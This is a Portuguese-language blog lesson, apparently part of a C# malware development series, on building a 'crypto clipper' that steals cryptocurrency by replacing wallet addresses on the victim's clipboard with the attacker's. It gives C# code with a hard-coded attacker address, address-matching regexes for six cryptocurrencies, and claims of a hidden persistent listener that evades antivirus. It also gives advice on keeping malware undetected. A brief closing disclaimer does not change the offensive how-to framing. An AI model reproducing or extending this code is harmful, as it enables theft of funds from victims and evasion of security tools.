Lição 12: Crypto Clipper — Roubando criptomoedas como um profissional

Apr 10 2023
Série de desenvolvimento de malware por XIT (C#)
Abaixo está a lista de tópicos para a Lição 12: 12. Crypto Clipper:⇢ BTC⇢ ETH⇢ Ripple⇢ Litecoin⇢ BTC Cash⇢ Moneromore… Nesta lição, demonstraremos como adicionar funcionalidade que pode roubar criptomoedas substituindo o endereço da carteira do usuário com endereço dos atacantes.

Abaixo está a Lista de Tópicos para a Lição 12:

12. Crypto Clipper:
⇢ BTC
⇢ ETH
⇢ Ripple
⇢ Litecoin
⇢ BTC Cash
⇢ Monero
mais…

Nesta lição, demonstraremos como adicionar funcionalidade que pode roubar criptomoedas substituindo o endereço da carteira do usuário pelo endereço do invasor. Na lição 9 , aprendemos sobre como roubar criptomoedas de carteiras offline presentes na máquina de destino. Abordaremos as criptomoedas mais populares, como BTC, ETH, Ripple, Litecoin, BTC Cash e Monero nesta lição. Você aprenderá como desenvolver uma função em seu malware que pode substituir o endereço da carteira do destinatário na memória da área de transferência pelo seu. Essa técnica simples, mas eficaz, pode ajudá-lo a roubar criptomoedas sem detecção. Junte-se a nós para aprender como se tornar um profissional em roubar criptomoedas com o Crypto Clipper!

Abaixo está o entendimento básico do funcionamento. Ele verifica o endereço do usuário usando um padrão de expressão regular e, se o endereço corresponder, substitui o endereço do usuário pelo endereço do invasor.

// clipper
// attacker address
string attackerAddress = "1FfmbHfnpaZjKFvyi1okTjJJusN455paPH";

// user address
string userAddress = "bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh";

// regex pattern to match user's address
string regexPattern = @"^bc[13][a-zA-HJ-NP-Z0-9]{25,39}$";

// Check address matches regex pattern
if (Regex.IsMatch(userAddress, regexPattern))
{
    // Replace user address with attacker address
    userAddress = attackerAddress;
    
    // Display message to confirm replacement
    Console.WriteLine("User's address has been replaced with attacker's address.");
}
else
{
    // Display message if user's address does not match regex pattern
    Console.WriteLine("User's address is invalid and cannot be replaced.");
}

Abaixo estão os padrões regex para outros endereços criptográficos:

BTC

string regexPattern = @"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$";

ETH

string regexPattern = @"^0x[a-fA-F0-9]{40}$";

Ondulação

string regexPattern = @"^r[0-9a-zA-Z]{24,34}$";

Litecoin

string regexPattern = @"^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$";

BTC Dinheiro

string regexPattern = @"^([qpzry9x8gf2tvdw0s3jn54khce6mua7l]{42}|(bitcoincash:)?(q|p)[a-z0-9]{41})$";

Monero

string regexPattern = @"^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$";

Por fim, compilei todos os tópicos da lição 12 e também adicionei um ouvinte persistente para que possa listar os valores da área de transferência para sempre em segundo plano e também o processo está oculto, posteriormente foi detectado por 0 de 26 verificações antivírus.

Lembre-se: não compartilhe seus assemblies não criptografados ou fonte de malware para scanners antivírus aleatórios, use apenas aqueles listados no artigo abaixo para manter seu malware não detectado para sempre:

https://x-it./stop-killing-your-malware-learn-to-perform-safe-scans-for-self-developed-malwares-fe95480a65ed

Conclusão

“Clipper” é um tipo de programa malicioso usado por hackers para roubar criptomoedas das vítimas, substituindo seus endereços de carteira pelo endereço do invasor. Ele pode ser distribuído por e-mails de phishing, sites maliciosos ou até mesmo lojas de aplicativos legítimas. As vítimas podem sofrer perdas financeiras significativas, e o uso de malware clipper é ilegal e antiético. Boas práticas de segurança cibernética podem ajudar a proteger contra malware clipper e outros tipos de ataques cibernéticos.